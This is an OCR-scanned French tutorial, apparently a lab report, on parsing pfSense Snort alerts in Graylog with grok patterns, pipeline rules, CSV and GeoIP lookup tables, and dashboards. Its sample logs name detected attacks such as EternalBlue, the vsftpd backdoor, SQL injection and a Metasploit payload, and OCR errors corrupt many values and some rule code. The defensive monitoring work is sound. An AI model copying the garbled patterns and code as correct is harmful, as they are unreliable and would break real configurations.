En général, la regle ci-dessus veut dire si un log contient le champ "message", alors convertissez la valeur en sous-

champs a l'aide d'un modéle grok nommé syn_flood. )
Rule source, see quick referegge for more information.

Sauvegardez et fermer la fenétre : Save & Close Cancel

Comment créer un modéle grok
La seule chose que I'on n’a pas encore définiest le syn_flood :

1. Reveneza Snort Stream et choisissez un log. Cliquez sur le champ message et dans le menu qui apparait
choisissez Create extractor.
2. Cliquez sur Grok pattern et apres Submit :
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2022-10-02 19:20:50.445 172.18.20.254

<169>1 2022-18-82T19:20:50.434042+02:68 pfsense.home.arpa snort 50286 - - [1:100000081:1] Possible TCP Dos {TCP} 82.

140 40.7090 _. 179 10 20 24n.09

message = <169>1 2022-10-02T19:20:50....

Select extractor type

18¢3-0800271ea882  permalink  Show surrounding messages v Testagainstsream ~  Cop

Actions —
Exclude from results message
<169>1 2022-10-82T19:20:50.4340842+82:80 pfSense.home.arpa snort 508280 - - [1:1@8008080 Grok pattern L} h

Add to query Possible TCP DoS {TCP} 82.172.169.48:7823 - 172.18.20.248:88y
) @ JSON
Show documents for value source \
Regular expression

Create extractor 172.18.20.254
Highlight this value timestamp Replace with regular expression
— 2022-10-82 19:20:50.445 spiit & Index
Routed into streams
Substring

* Snort Stream
Lookup Table

3. Dans cette page écrivezle modéle Grok a I'aide des modeéles proposés dans lafenétre acoté. Voiciun modeéle
que j’aicréé pource log :

Example message
<169>1 2022-18-82T719:20:50.434042+02 :00 pfSense.home.arpa snort 56280 - - [1:1000880801:1] Possible TCP DoS {TCP} 82.172.169.40:7829 -> 172.18.28.246:88

Wrong example?  Load another message

Extractor configuration
Extractor type Grok pattern

Source field message

[J Named captures only
Only put the explicitly named captures into the message.

‘Il-n-...’

Grok Pattern Filter pattern

pattern 3 ({TIMESTAMP_ISO8601:UNWANTED}9{ISO8601_TIMEZONE:UNWANTED} %{WORD:UNWANTED}.%
{WORD:UNWANTED}.%{WORD:UNWANTED} %{WORD:Process} %{BASE1ONUM:PID} \- \- \[% -
{BASE10NUM:Generator_1D}:9{BASE10NUM:SIgnature_ID}:%{BASE10NUM:SIgnature_Revision_ID}] % BASETONUM
{DATA:Description} \{%{DATA:Protocal}\} %{IPV4:5ource_IP}:36{BASE1ONUM:SIC_Porty \A\> % (R<I[0-9.+ )=+ 0-91+ZA[0-9]+)2)...

{IPV4:Destination_IP}:%{BASE10NUM:Dst_Port}
BASE16FLOAT
\b(Z<I[0-9A-Fa-E])(Z:[+-T2(Z:0%)2(7:(7:[0-9A...
BASE16NUM Add [
The pattern which will match the log line e.g: '%{IP:client}’ or '.*?
Note : suivez le lien suivant pour voir comment créer les modéles Grok :
https://streamsets.com/blog/what-are-grok-patterns/
En général, chaque morceau dans ce log sk ratem Filte pattern H_
attern 9{TIMESTAMP_ISO8601:heure} timestamp
gue I'on veutextraire, on le remplace par I SYSLOGTIVESTANP 1B
un modele grok déja défini que I'on peut % :‘;”;NTT;:T:;ZZZW%WE}
trouver dans le filter pattern a cété. Par . FVEAR) SMONTHNUM S(MONTHOg
eXempIe : The pattern which will match the log line e.g: '%{IP:client} or '.*?' : V
La premiere partie du log (2022-10- e
Extractor preview
02T19:20:50.434042+02:00) est un s rdanall
] heure mets;:les,dans)le
tlmestamp avec |e Standard 1508601 2622-10-82T19:20:58. 434042+02 :80 | _e ——-—Jvariable—‘—*heure
Donc nous allons chercher timestamp o
18
dans le filter pattern et choisir le modele MoNTHDAY
ui convient. Ensuite je mets son résultat s, 21 :
a ) d— e extrais,ces,champs
. L. , MINUTE ALCUSIESON LI 2
dans la variable heure. Voici le résultat : (B
58.434042
1508601_TIMEZONE
+02:088

Le méme principe pour les autres modeéles, un apres l'autre jusqu’a la fin du log. Il faut surtout respecter l'ordre et
remplacer les caractéres qui ne change pas et qu’ils sont toujours au méme endroit par des regex. Par exemple je

remplace -> par \-\>. Pour les espaces, laissez simplement des espaces.

Note : pour les champs dont on n’a pas besoin, on met UNWANTED au lieu de la variable.
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Vous voyez le résultat final dans la photo a droite.

Extractor preview

Vous n’avez pas besoin de sauvegarder cet extracteur, caron a un pipeline avecce
YEAR
modele grok. Copiez seulement ce modéle pourlacréation un modele grok dansle | ze2

MONTHNUM

18
menu system/grok patterns. MONTHDAY
02
Dans le system/grok patterns créez un nouveau modéle, nommez-le syn_flood | .
s . \ . . MINUTE
(comme écrit dans la régle pipeline) et sauvegardez-le. (20, 68
SECOND
50.434842
Note : Ce modeéle peut étre utilisé pour plusieurs pipeline. Process

snort
PID
50288

Note : un pipeline peut avoir plusieurs modeles grok (nous ajouterons les autres | ceneratorio

1

modeles pour les autres logs dans la méme regle pipeline.) Signature_ID
100000001
Signature_Revision_ID
P 1
Edit Grok Pattern syn_flood FE———
Possible TCP DoS
Protocol
Name TCP
Source_IP
syn fcoc|| 82.172.169.48
S Src_Port
nder this name the pattern will be stored and can be used like: "%{THISNAME)' later on 7829
Destination_IP
Pattern Filter pattern 172.18.28.248
Dst_Port
S{TIMESTAMP_ISO8601:UNWANTED}{IS08601_TIMEZONE:UNWANTED} % 88

{WORD:UNWANTED}%{WORD:UNWANTED}.%{WORD:UNWANTED} %
{WORD:Process} %{BASETONUM:PID} \- \- \[%{BASE10NUM:Generator_ID}:%
{BASET1ONUM:Signature_ID}:%{BASET1ONUM:Signature_Revision_ID}\] %
{DATA:Description} \{%{DATA:Protocol}\} %{IPV4:Source_IP}:%
{BASE10NUM:Src_Port} \-\= 9%{IPV4:Destination_IP}:%{BASE10NUM:Dst_Port}

Connecter le pipeline au flux Snort Edit connections for snort pipeline syn-flood
Revenez dans le system/pipelines/edit et cliquez sur Edit
connections et ajoutez le flux Snort stream.

Streams

Configurer le Stage snort Stream
Modifiez le Stage par défaut avec la priorité 0. Choisissez « au Select the streams you want to connect to this pipeline, or create one in the

moins une des régles sur ce Stage s’accorde avec le message ». e pese
Ajoutez laregle Snort rule et sauvegardez les changements.

Cancel Save

Changer l'ordre des processeurs de messages
Avantde commencera utiliser les pipelines, vous devez vous assurer que le processeur de messages Pipeline Processor
estactivé et correctement configuré. Vous pouvez le faire en accédantala page Systéme/Configurations et en vérifiant

la configuration dans la section Configuration des processeurs de
Message Processors Configuration

messages. _ _ _
The following message processors are executed in order. Disabled proc

Sur la page Configurations, vous devez activer le processeur de # Processor

messages pipeline et, si vous souhaitez que vos pipelines aient AWS Instance Name Lookup

accés aux champs statiques définis sur les Inputs, mettez le 2 Message Filter Chain

processeurde pipeline apresle processeur Message Filter Chain.Ce 3 Pipeline Processor

qui est notre cas : 4 GeolP Resolver

Simulator

Apres avoir fini la configuration de normalisation des logs (créer le pipeline, créer le modele Grok, créer la regle
pipeline, connecter le pipeline au flux Snort), nous pouvons la tester contre les logs sans vraiment besoins de
déclencherles nouveaux alertes grace a Simulator disponible dans la page Pipelines overview. Il suffit copierle champ
message, choisir le flux et le codec du log. Ensuite en cliquant sur Load message on verra le résultat (sans devoir
appliquer ces tests sur les vrais logs).
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simulate processing
Processing messages can be complex. Use this page to simulate the result of processing an incoming message using your current set of pipelines and rules.

o Read more about Graylog pipelines in the documentation.

Load a message

Build an example message that will in the simulation. No real messages stored in Graylog will be changed. All actions are purely simulated on the temporary input you provide below.
Stream
‘ Snort stream - ‘

Select astream to use during simulation, the All messages stream is used by default

Raw message

<169>1 2022-10-04T00:34:54.134953+02:00 pfSense.home.arpa snort 61057 - - [1:100000001:1] Possible TCP DoS {TCP} 108.133.191.123:58211 -» ‘
172.18.20.240:80

Le résultat :

Original message Simulation results More resuls
7575 the origmaT message leaded from Graylog. E5e aTe e TesuNts OF processing the loaded message. Processing took 1,509 ps.

% 193e7611-4372-11ed-a626-0800271ea882 | Notstored ¥ 193e7611-4372-11ed-a626-0800271ea882 |Netstored
Timestamp message Timestamp Description
2022-10-04 01:21:24 <1691 2022-18-84T08:34:54.134953+02:60 pfSense.home.arpa snort 61057 - - 2022-10-04 01:21:24 Possible TCP DoS
. [1:1000608061:1] Possible TCP DoS {TCP} 188.133.191.123:58211 -= . R

Stored |n|nd£x 172.18.26.246:80 Stored in index Destination_IP
Message is not stored o : Message is not stored 172.18.20.2480

souree Dst_Port

172.18.20.254 -
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timestamp

9A27-10-A2T22:91 94 7917 Generator_ID

Déclencher une nouvelle alerte
Je déclenche une alerte SYN-flood et je vérifie les sous-champs extrait du champ message dans le flux Snort stream :

graylcag Search  Streams  Alerts  Dashboards  Enterprise  Security  System - g:ﬁ, Z © 2
’ Fi : 5 t
- rom: 5 minutes Until: Now Snort Stream | X X w M Every1second -
ago
.
1 . . .
r sear " r ® frSave [Dload &+Share @ o
Message Count FRE v
q 1
X
05
13:12:00 131230 13:13:00 1313:30 13:14:00 131430 13:15:00 13:15:30 13:16:00 13:16:30
Oa3,2022 B
All Messages TREY
timestamp  1F source o
2022-10-03 13:16:39.036 172.18.20.254
<169>1 2822-10-83T13:16:39.832116+02:00 pfSense.home.arpa snort 82623 - - [1:180000001:1] Possible TCP DoS {TCP} 48.4
8.26.96:53434 -> 172.18.20.240:80
2022-10-03 13:16:29.067 172.18.20.254
<169>1 2022-18-83T13:16:29.066408+82:00 pfSense.home.arpa snort 82623 - - [1:100000001:1] Possible TCP Dos {TCP} 5§5.17

9.225.158:17443 -> 172.18.20.240:80

2022-10-03 13:16:19.067
<169>1 2022-10-83T13:16:19.065739+02:00 pfSense.home.arpa snort 82623 - - [1:1000080021:1] Possible TCP DoS {TCP} 149.1
78.158.64:29053 -> 172.18.20.240:80 -

Monter les logs de tous les attaques au graylog
Jai créé trois modéles Grok différents pour analyser tous ces logs :

syn_flood 8%{TIMESTAMP_ISO8601:UNWANTED}%{ISO8601_TIMEZONE:UNWANTED} %{WORD:UNWANTED}.%{WORD:UNWANTE E7
D}.3%{WORD:UNWANTED} %{WORD:Process} %{BASE10NUM:PID} \- \- \[%{BASE10NUM:Generator_ID}:3%6{BASE10NUM:
Signature_ID}:%{BASE10NUM:Signature_Revision_ID}\] %{DATA:Description} \{%{DATA:Protocol}\} %{IPV4:Source_IP}:%
{BASE10NUM:Src_Port} \-\> %{IPV4:Destination_IP}:26{BASE10NUM:Dst_Port}

with_class 86{TIMESTAMP_ISO8601:UNWANTED}%{IS08601_TIMEZONE:UNWANTED} %{WORD:UNWANTED}.%{WORD:UNWANTE  [FINES
D}.%{WORD:UNWANTED} %{WORD:Process} %{BASE10NUM:PID} \- \- \[%{BASE1ONUM:Generator_ID}:3%{BASE10NUM:
Signature_ID}:%{BASE10NUM:Signature_Revision_ID}\] %{DATA:Description} \[Classification: %{DATA:Classification}\] \
[Priority: %{DATA:Priority\] \{%{DATA:Protocol}\} %{IPV4:Source_IP}:%{BASE10NUM:Src_Port} \-\> %{IPV4:Destination_|
P}:9{BASE10NUM:Dst_Port}

arpspoof %{TIMESTAMP_ISO8601:UNWANTED}%{IS08601_TIMEZONE:UNWANTED} %{WORD:UNWANTED}.%{WORD:UNWANTE m
D}.9%{WORD:UNWANTED} %{WORD:Process} %{BASE10NUM:PID} \- \- \(%{WORD:Preprocessorj\)%{GREEDYDATA:Desc
ription}
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Voici comment ajouter les nouveaux modéles a la regle pipeline Snort rule :

//laisser (let) le variable analyseur équivalent & la fonction grok
let analyseurl = grok("¥{syn_flood}", to_string(fmessage.message), true);
let analyseur2 = grok("¥{with_class}", to_string(%message.message), true);
let analyseur3 = grok("¥{arpspoof}”, to_string(fmessage.message), true);

//fcréer le sous-champ
set_fields(analyseurl);
set_fislds(analyseurl);
set_fields(analyseur3);

Accés au site Facebook et attaque SYN Flood analysés par modele Grok syn_flood :

2022-10-03 15:03:37.793
<169>1 2822-18-83T15:03:37.792684+02:00 pfSense.home.arpa snort 99827 - - [1:14190867668:22] Facebook DNS {UDP} 172.18.28.1:58745 -» 172.18.20.254:53

172.18.20.254

2022-10-03 13:36:49.758 172.18.20.254

<169=1 20822-18-83T13:36:49.755911+82:80 pfSense.home.arpa snort 82623 - - [1:1086660881:1] Possible TCP DoS {TCP} 186.58.165.248:62694 -» 172.18.28.240:80

Backdoor vsftpd et eternalblue analysés par modele Grok with_class :

2022-10-03 14:13:53.715
<169>1 20822-18-83T14:13:53.7081927482:00 pfSense.home.arpa snort 82623 - - [1:19415:6] MALWARE-CNC vsFTPd 2.3.4 backdoor connection [Classification: A Netwo
rk Trojan was Detected] [Priority: 1] {TCP} 172.18.28.218:37895 -» 172.18.28.248:21

172.18.20.254

2022-10-03 14:17:16.606 172.18.20.254

<169=1 20822-18-83T14:17:16.592531+82:88 pfSense.home.arpa snort 82623 - - [1:41978:5] OS-WINDOWS Microsoft Windows SMB remote code execution attempt [Class
ification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 172.18.28.210:43843 -> 172.18.28.245:445

Arp Spoofing analysé par modeéle Grok arpspoof

2022-10-03 14:51:53.990 172.18.20.254
<169»1 2822-18-83T14:51:53.991952+82:08 pfSense.home.arpa snort 22391 - - (spp_arpspoof) Attempted ARP cache overwrite attack
2022-10-03 14:51:53.990 172.18.20.254
<169»1 2822-18-83T14:51:53.991938+82:08 pfSense.home.arpa snort 22391 - - (spp_arpspoof) Ethernet/ARP Mismatch regquest for Source
Injection SQL analysée par modele Grok with_class :

172.18.20.254

2022-10-03 14:56:35.192
<169»1 2822-18-83T14:56:35.194124+082:08 pfSense.home.arpa snort 21279 - - [1:13998:27] SOL union select - possible sql injection attempt - GET parameter [C
lassification: Misc Attack] [Priority: 2] {TCP} 172.18.20.218:51596 -> 172.18.20.248:80

2022-10-03 14:56:35.192 172.18.20.254

<169=1 2822-16-83T14:56:35.193978402:808 pfSense.home.arpa snort 21279 - - [1:24172:2] S0L use of concat function with select - likely S0L injection [Classi
fication: Web Application Attack] [Priority: 1] {TCP} 172.18.20.218:51596 -> 172.18.20.2408:88

Malware analysé par modele Grok with_class :

2022-10-03 14:27:45.254
<169=1 2822-18-83T14:27:45.253344+82:00 pfSense.home.arpa snort 24844 - - [1:2825644:1] ET TROJAN Possible Metasploit Payload Common Construct Bind_API (fr
om server) [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 172.18.28.210:4444 - 172.18.28.7115:49983

172.18.20.254

Lookup Tables

Les tables de recherche sont une fonctionnalité quivous permet de rechercher/mapper/traduire desvaleurs de champ
de message endenouvellesvaleurs et deles écrire dans les nouveaux champsde message. Un exemple simple consiste
a utiliser un fichier CSV statique pour mapper les adresses IP aux noms d'hotes.

Composants
Les systemes de table de recherche se composent de quatre composants :

e Adaptateurs de données
e Caches

e Tables de recherche

e Résultats de larecherche
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ADAPTATEURS DE DONNEES (Data Adapters)
Les adaptateurs de données sont utilisés pour effectuerlarecherche d'une valeur. lls peuventlire a partir d'un fichier
CSV, se connecter a une base de données ou exécuter des requétes HTTP pour recevoir le résultat de la recherche.

CACHES
Les caches sont responsables de la mise en cache des résultats de recherche pour améliorer les performances de
recherche. Ce sont des entités distinctes pour permettre de les réutiliser pour différents adaptateurs de données.

TABLES DE RECHERCHE (Lookup Tables)
Le composant de table de recherche relie une instance d'adaptateur de données et une instance de cache.

RESULTATS DE LA RECHERCHE (Lookup Results)
Le résultatde la recherche estrenvoyé parune table de recherche via I'adaptateur de donnée s et peut contenir deux
types de données. Une valeur unique (single value) et une valeur multiple (multivalue).

La valeurunique peut étre une chaine (string) etsera utilisée dans les regles de pipeline.Dans notre exemple CSV pour
rechercher des noms d'hdte pour les adresses IP, il s'agirait de la chaine du nom d'hote.

Une valeur multiple peut contenir plusieurs valeurs différentes. Ceciest utile si 'adaptateurde données peut fournir
plusieurs valeurs pour une clé. Un bon exemple pour cela serait I'adaptateur de données géo-IP qui fournit non
seulement la latitude et la longitude d'une adresse IP, mais également des informations sur la ville et le pays de
I'emplacement. (On en parlera dans la section suivante : Géolocalisation)

Mise en place Lookup Table Single Value

Source_|IP

Dans cet exemple, on veuttraduire le champ source dansles logs

qui est I'adresse IP de notre pfsense aun nom. Cela est utile pour ~ 137-52.68.57
le moment ol on aura plusieurs sources différentes et cela est plus ifgf"”
compréhensible visuellement pour les utilisateurs de SIEM.

message

<169>1 2822-10-83T22:49:82.255094+02:80 pfSense.home.arpa sno

Les étapes a suivre :

source

72.18.28.254

1. Connectez-vous au serveur graylog et créez un fichier
CSV dans le répertoire du graylog :

Sudo nano /etc/graylog/lookup_src_name.csv

2. Ce fichier doit contenir deux colonnes (Key et Value). Choisissez un nom pour chaque colonne. Mettez-les
entre guillemets (“”) et séparez-les par une virgule. GNU nano 4.8
Ensuite ajoutez I'adresse IP dans la colonne Key et le Lk L —
nom dans la colonne Value et sauvegardez le fichier. —
Comme dans la photo :

Les Lookup Tables peuvent étre configurées sur la page « System/lookup tables ».

Vous devez créer au moins un adaptateur de données et un cache avant de pouvoir créer votre premiére table de
recherche.

3. Cliquez sur Create data adapter. Choisissez le CSV file pour Data Adapter Type. Donnez-lui un titre, une
description et un nom. Définissez le chemin du fichier CSV que vous avez créé surle serveur. Choisissez le bon
Separatoret Quote character (les valeurs par défaut s’accordent avecnotre fichier CSV). Mettez‘jp’ comme le
Key column et ‘src_name’ comme Value column et créez I'adapteur.

ter
Title src_name_adapter] File path fetc/graylog/lookup_src_name.csv

A short title for this data adapter. The path to the CSV file
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Separator . Key column key

The delimiter to use for separating entries. The column name that should be used for the key lookup
Quote character " Value column value
The column name that should be used as the value for a key.

The character to use for II|UCIEC: elements.
4. Dans l'onglet Caches, cliquez sur Create cache. Choisissez Node-local, in-memory cache pour le type de cache.
Donnez-lui un titre, une description et un nom et laissez les autres paramétres par défaut et Create Cache.
5. Dans l'onglet Lookup Tables, cliquez sur Create lookup table. Choisissez le titre, la description et le nom.
Choisissez I'adapteur des données et le cache que I'on vient de créer dans les étapes précédentes.

Configured lookup tables

Search  Reset [MEEEWCTNENE @

Title Description Name cache Data Adapter Actions

show | 10 v
src_name_lookup src_name_lookup src_name_lookup sr¢_name_cache src_name_adapter  cait | pelete |

Maintenant onva utiliser cette table de recherche dans notre pipeline Snort. Pour cela, d’abord on va créer un nouvelle
regle pipeline, puis on la met dans un nouveau Stage sur notre pipeline.

6. Allez dans le menu system/pipelines. Ensuite dans Manage rules et cliquez sur Create Rule. Voici la réegle
I'explication :

Rule source

E 9
1 le nom pour la régle
2 rule "source_name"
3
4
5 // la condition: s'il y a un champ qui s'appelle "source”
6 when
7 has_field ("source”
8
g J//puis
18 then
11
12 ~ le champ source en une chaine des caractéres,
13 résultat @ la fonction lookup_value a le nom du lockup table concerné src_name_lookup,
14 //mettre le résultat finale dans le variable source_name.
15 let source_name = lockup_valus("src_name_lookup™, to_string($message.source)});
16
17 //ajouter le nouveau champ src_name avec le cotenu du variable source_name.
18 set_field("src_name", source_name);
19
28 end

7. Sauvegardez cette nouvelle régle, allez dans le Manage Pipelines et modifiez le pipeline déja existant. En ce
moment, on a un Stage sur ce pipeline. Créezle deuxiéme Stage en luidonnantla régle source_name comme
Stage rules. Ce stage aura automatiquement la priorité 1 :

“
e
Stge

Messages satisfying none or more rules in this stage, will continue to the next stage.
Throughput: 0 msg/s

Title Description Throughput Errors

8. Aller dans le Simulator et tester le flux Snort Stream contre un log et vous verriez que’un nouveau champ
(src_name : Snort) est ajouté.

Note : pour la simulation il faut indiquer manuellement I'adresse IP source qu’on a défini dans le fichier CSV :
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use during simulation, the All messages stream is used by default.

Raw message

<169>1 2022-10-03T23:27:03.131515+02:00 pfsense.home.arpa snort 99027 - - [1:100
172.18.20.. 180

Source IP address (optional)
172.18.20.254

REmote 1P address to Use as mes

1:1] Possible TCP Dos {TCP} 121.18.16.177:51964 ->

Le résultat :

src_name
Snort

Géolocalisation

Avoir des données supplémentaires sur ces journaux qui vous donnent la géolocalisation de I'adresse IP aide votre
compréhension de vos trafics. Dans cette section, nous allons passer par quelques étapes pour configurer la
géolocalisation sur les journaux contenant des adresses IP.

Télécharger la base de données Geolite2
La premiere étape consiste atéléchargerlabase de données des informations de géolocalisation. (Dans ce guide, nous
utilisons la base de données MaxMind Geolite2 au format binaire (.mmdb)).

1. Allezsurle site maxmind.com et créez un compte pour utiliser le service Geolite2 et pouvoir téléchargerles
fichiers (.mmdb).

https://www.maxmind.com/en/geolite2/signup?utm source=kb&utm medium=kb-link&utm campaign=kb-create-

account

2. Une foisle compte est créé, connectez-vous avotre compte, allezau Download Files et téléchargez le Geolite2
City au fomat .mmdb (téléchargez le fichier GZIP qui contient le fichier .mmdb) :

GeolP2/ Geolite2 Geolite2 ASN: CSV Format Edition ID: « Download ZIP
Geolite2-ASN-CSV
« Download
Format: SHAZSE
GeolP2 CSV (docs)  « Get Permalinks
Updated:
\ 2022-10-04 \
Geolite2 City Edition ID: * Download GZIP
G 2
Geolite2-City o Berafe
SHA256

Format:
GeolP2 Binary * Get Permalinks
(mmdb) (APls)

3. Unefois téléchargé les fichiers, I'étape suivante consiste a stockerla base de données de géolocalisation sur
le serveur exécutant Graylog, puis a définir les autorisations de fichier pour permettre a Graylog de lire ce
fichier. Dans cet exemple, I'emplacement du fichier est ici :

/etc/graylog/server/Geolite2-City.mmdb

aylog:/etc/graylog/server$ 1s -1
total 68228
-rw-rw-r-- 1 root root 69810105
-rw-r--r-- 1 rhot root

root
root 37254
graylog:/etc/graylog/server$ [I

Créer la table de recherche
4. Ensuite, nousdevons configurerla table de recherche pourlire la base de données. Nous allons d'abord créer
I'adaptateur de données depuis le menu /system/Lookup Tables/Data Adapters. Pour Data Adapter Type
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choisissez Geo IP — MaxMind™ Databases et donnez-lui un titre, une description et un nom. Definissez le
chemin du fichier . mmdb mettez le Database type sur City database et créer I'adaptateur.

5. Ensuite, nous devons créer un cache dans I'onglet Caches.

6. Dansladerniere étape delatable de recherche, nousdevons créer latable elle-méme, en utilisant I'adaptateur
de données et le cache des deux étapes précédentes. Maintenant on a deux tables de recherches sur notre

Graylog :
Title Description Name
src_name_lookup src_name_lookup src_name_lookup
geoip-city-lookup geoip-city-lookup geoip-city-lookup

Créer une regle pipeline pour la géolocalisation
Maintenant que nous avons créé la table de recherche et qu'elle est préte a étre utilisée, nous devons créerune regle
de pipeline pour l'utiliser et ajouter les métadonnées a chaque log avec une adresse IP.

Allez dans (Systéme -> Pipelines) et sous "Gérer les régles", nous devrons créer une nouvelle régle. Donnez-lui une
description afin que vous puissiez vous en souvenir, et dans la source de la regle, mettez :

f/s"il y & un champ qui s'appelle "Source IP"
when

1
3
4
5
6 has_field ("Source_IP")
8
£
a
1
2

//puis

en une chaine
14 - ezsage.Source_IP));
les champs suivants & 1'aide du variable geo :
"src_ip_geolocation”, geo["coordinates”]);

("src_ip_geo country_code", geo["country"].iso_code);

21

22 set_field("src_ip geo_country_name", geo["country"].names.en);
23

24 set_field("src_ip_geo_city_name", geo["city"].names.en);

25y

26 end

La condition when n'autorise le traitement de la régle que lorsque le journal contient le champ Source IP. Une fois
gu'il atrouvé ces journauy, il exécute larecherche sur notre table de recherche " geoip-city-lookup" avecles données
dans le champ Source_IP, puis ajoute I'emplacement, le pays et la ville.

Notez que cette regle ne s'applique qu'al'adresseIP source. Sil'adresse de destination doit également étre recherchée,
ajoutezdeslignes supplémentaires a cette regle ou créez une deuxieme régle pourles journaux avecdes adresses IP
de la destination.

Ajouter la nouvelle régle au pipeline
Apres avoir créé les régles, nous les ajouterons a un Stage dans le pipeline Snort. Il y a déja deux Stage dans notre
pipeline. On ajoute un troisiéme.

REMARQUE IMPORTANT : cette regle chercherale champ Source_IP.Le champ Source_IP seracréé pendant le premier
Stage (stage 0) du pipeline. Doncil faut créer un Stage avec le numéro de la priorité plus haut.

Stage 2

There are no further stages in this pipeline. Once rules in this stage are applied, the pipeline will have finished processing.
Throughput: 0 msg/s

Title Description Throughput

geolocalisation 0 msgfs
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Tester le résultat
Et une fois que de nouveaux journauxarrivent dans le pipeline, vousverrez les champs par rapport a la géolocalisation.

Vous pouvez tester le résultat par le Simulator :

src_ip_geo_city_name
Edmonton

src_ip_geo_country_code
CA

src_ip_geo_country_name
Canada

src_ip_geolocation
53.4179,-113.5785

Vous pouvez lancer un agrégat de recherche sur "src_ip_geo_location" et mettez le type de table en "World Map",
pour avoir une carte du mode. (Voir la section suivante, Dashboards)

Dashboard
L'utilisation de tableaux de bord vous permet de créer des recherches prédéfinies sur vos données, afin que les

informations importantes soient a portée de clic. Vous pouvez définir des Dashboards et les partager avec des
collegues.

Créer un nouveau tableau de bord
1. Accédez alasection Tableaux de bord en utilisant le lien dans la barre de menu de Graylog.
2. Appuyez surle bouton Créer un nouveau tableau de bord pour créer un nouveau tableau de bord vide.
3. Appuyezsurle bouton Save as sur le c6té droit de la barre de recherche pour enregistrer le tableau de bord.

Maintenant on va ajouter des widgets dans notre Dashboard.

Créer des widgets
4. Pendant que vous étes dans le Dashboard, appuyez sur le bouton + a gauche de I'écran. Ici vous avez trois

options pour créer des widgets :

a. Agrégation: I'option d’agrégation générique. Cette option vous permet de créer des différents
graphiqgues personnalisés selon vos besoins et de combinerdifférents types de données dans unseul
graphique.

b. Message Count : une agrégation prédéfinie pour compter le nombre des logs.

Message Table : une agrégation prédéfinie pour virtualiser les logs selon leurs horodatages.

Agrégation

> Aggregating count(Classification) by Classification, Source_|P

n - | From: 2 days ago until: Now I
+ KN '

qT Group By -+ Classification Source_|P count{Classification)
Rollup Columns @ - ‘ .
Attempted Administrator Privilege Gain 172.18.20.210 16
X, Direction {® Row O Column = :
A Network Trojan was Detected 172.18.20.210 3
Field Classification
Misc Attack 172.18.20.210 1
Limit 4
Web Application Attack 172.18.20.210 1
Direction |{® Row O Column =
Field Source_IP 1
Limit 4
, Groupg)parclassification Source. |Ppour
Metrics § avec la limite,de 4 valeurs. chaquejvaleur.du nombre,de
Function | | Count le résultat-= quatre)valeurs groupe,classification queice

Field Classification différentes darjs 2/jours

Name

Visualization

Type Data Table
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5. Cliquez sur agrégation pour créer une agrégation vide. Ensuite appuyez sur Edit. Il y a quatre options pour
définir les paramétres du diagramme.

a. Group By : Cette option vous permet de "grouper" votre graphique par lignes et colonnes. Lorsque
vous créez un nouveau groupea l'aide de Group By, les valeurs du champ sélectionnées sont cumulées
dans le résultat. Dans la photo ci-dessus (exemple 1), d’abord j’ai regroupé les logs par le champ
Classification et avec limite de 4 valeurs différentes. Ensuite j'aiajouté un deuxieme groupe pour des
adresses IP sources de chaque valeur dans le groupe classification.

b. Metrics: Ce sontun ensemble de fonctions permettant d'agréger desvaleurs des champs. Le résultat
de l'agrégation dépend du regroupement des lignes et/ou des colonnes.

¢. Virtualization: changer le type de diagramme : Area Chart, Line Chart, Pie Chart, etc. dans I'exemple
ci-dessus, j’ai choisi Data Table.

d. Sort: L'ordre des résultats peut étre configuré.

6. Dansla photo ci-dessous (exemple2), j’aimis Source_IP parlignes eten premier, et Classification par colonnes
et en deuxieme :

Aggregating count(Classification) by Source_IP

n ~ From: 2 days ago Until: Now Snort Stream | x quatre colonnes

n // \\ ]
Group By + to[al A Network Trojan was Detected Artempted Administrator Privilege Gain Misc Attack Web Application Attack
Rollup Columns @ Source. P count(Classification] count(Classification) count(Classification)  count{Classification) count(Classification)
Direction @ Row O Column = 17218201 B
Field Source_IP m
[ 1
Limit 4
]
Direction Row @® Column = 8
Field Classification -
Limit 4

7. Dans exemple ci-dessous, j’'ai présenté le résultat de 'exemple 1 mais avec le S/ID au lieu de Source_ID et

avec Pie Chart :

Group By +

Rollup Columns @

Direction @ Row O Column =

Field Classification o

Limit 4

Direction @ Row O Column =

Field Signature_ID o

Limit 4

Metrics +

Function Count ]

Field Classification

Name t Specif ay name

N Wisc Attack-13990 W Nheiggon W plenolsqigenves B plenors TS W ASRped AT

o~ . RS

Suivez ce lien pour plus d'informations sur les widgets :
https://docs.graylog.org/docs/widgets

Agrégation prédéfinie
8. Le Message Table affiche les logs et leurs champs. Le Message Table peut étre configuré pour afficher les
champs et le log lui-méme. Le log lui-méme est rendu en police bleue sous les champs. Cliquer sur une ligne
de message ouvre la vue détaillée d'un message avec tous ses champs.
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Untitled Message Table

P o XE vV

timestamp 1F Signature_|ID Priority -
2022-10-04 16:57:47.027 100000001

<169>1 20822-18-84T16:57:47.832515+02:88 pfSense.home.arpa snort 66725 - - [1:1880688881:1] Possi
ble TCP DoS {TCP} 119.129.253.145:208829 -> 172.18.20.248:88

2022-10-04 16:57:37.050 100000001

<169>1 20822-18-84T16:57:37.855347+02:88 pfSense.home.arpa snort 66725 - - [1:1680688881:1] Possi
ble TCP DoS {TCP} 96.126.198.28:27698 - 172.18.20.248:88

2022-10-04 16:57:27.080 100000001

<169>1 20822-18-84T16:57:27.085846+02:00 pfSense.home.arpa snort 66725 - - [1:1886860881:1] Possi

ble TCP DoS {TCP} 255.31.82.115:48712 -» 172.18.20.248:58

Voici le tableau de bord pour analyser des attaques :

grayleq seach  sweams  Alets  Dashboards  Enterprise  Securlty  System - % e A&
>
- Mo Override P Notupdating -
1 n L] Bsave Psaveas QeShare s
+ Geoanalysesource 1P analyse des attaques ¥ |+
' = Message Count (copy) PERE v
) II
I_.l. L _
10:00 13:00 14:00 5:00
Aggregating count{Description) by Description PR v Aggregating count(Classification) by .. B+ ¥ & v Untitled Message Table P eRE v
Description count(Description) tmestamp 1F Signature 10 Priority .
le TCP D&S. 148 2022-10-03 15:20:47.312
t 998 s10067603:22] F
2
2
E t 990 114710067508:22]
yload Comman Construct Bind_AP1 (from se T 998 418067601 F
t 998, 41006760 Fas
ANework
t 9962 4 Fac

B Misc

World Map

Web 1 A Network
Amack  Application  Trojan wos
Attack Detected

2022-10-03 15:19:16.317

World Map estun élémentintéressant que I'on peut ajouter dans le tableau de bord. Une carte du monde a besoin

de points géographiques sous forme cisia
de latitude, longitude. Comme nous N
avons déja configuré la géolocalisation  ;
doncon va créer une carte du monde
pour cela.

Search

1. Créerun Group By. Mettez-le n
en Row. Pourle champ mettez (-]
src_ip_geolocation et avecla
